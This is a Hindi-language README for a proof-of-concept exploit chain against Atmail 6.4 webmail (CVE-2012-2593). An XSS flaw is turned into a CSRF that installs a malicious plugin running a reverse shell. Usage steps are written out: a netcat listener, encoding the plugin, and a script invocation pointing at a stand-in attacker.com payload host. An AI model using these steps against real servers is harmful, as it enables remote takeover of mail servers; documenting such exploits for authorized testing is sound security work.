Atmail XSS-CSRF-RCE एक्सप्लॉइट चेन PoC

atmail-rce.py: Atmail के वेबमेल इंटरफ़ेस में CVE-2012-2593 का शोषण करता है।

atmail-csrf.js: जावास्क्रिप्ट फ़ाइल जो CVE 2012-2593 को CSRF में बदलती है जो एक दुर्भावनापूर्ण प्लगइन स्थापित करती है जो रिवर्स शेल निष्पादित करता है।

Plugin.php: स्थापित किया जाने वाला Atmail प्लगइन जो रिवर्स शेल को कॉल करता है।

!!केवल उन सर्वरों पर उपयोग करें जिन पर आपके पास परीक्षण की अनुमति है

सारांश

Atmail ईमेल सर्वर संस्करण 6.4 में Date ईमेल हेडर और ईमेल बॉडी (iFrame इंजेक्शन के माध्यम से) दोनों में XSS भेद्यता है। इसे जावास्क्रिप्ट XHR API का उपयोग करके CSRF में बदल दिया जाता है ताकि प्रशासक उपयोगकर्ता के कुकी के साथ प्रशासक वेबपैनल पर अनुरोध भेजा जा सके, जो एक दुर्भावनापूर्ण प्लगइन स्थापित करता है जो रिवर्स शेल के लिए कोड निष्पादित करता है।

प्रमाण की अवधारणा

1. नेटकैट लिस्टनर शुरू करें nc -lvp 4444
2. Plugin.php खोलें और IP पता और पोर्ट को अपने नेटकैट लिस्टनर में बदलें।
3. gzip का उपयोग करके Plugin को संपीड़ित करें और base64 में एनकोड करें। gzip -c Plugin.php | base64 | tr -d [:space:]
4. उपरोक्त आउटपुट को कॉपी करें और atmail-csrf.js डेटा वेरिएबल में पेस्ट करें।
5. atmail-rce.py स्क्रिप्ट चलाएँ। python3 ./atmail-rce.py -u attacker@localhost -r admin@localhost -x http://attacker.com/malicious.js -t http://atmail.com/
6. तब तक प्रतीक्षा करें जब तक प्रशासक उपयोगकर्ता अपने ईमेल में लॉग इन न कर ले।

चेतावनियाँ

• केवल तब काम करता है जब XSS का लक्ष्य Atmail का प्रशासक उपयोगकर्ता हो।
• केवल तब काम करता है जब लक्ष्य सर्वर के वेबमेल इंटरफ़ेस और प्रशासक इंटरफ़ेस दोनों में साइन इन हो।
• केवल तब काम करता है यदि सर्वर पर प्लगइन स्थापना की अनुमति है (डिफ़ॉल्ट रूप से चालू)।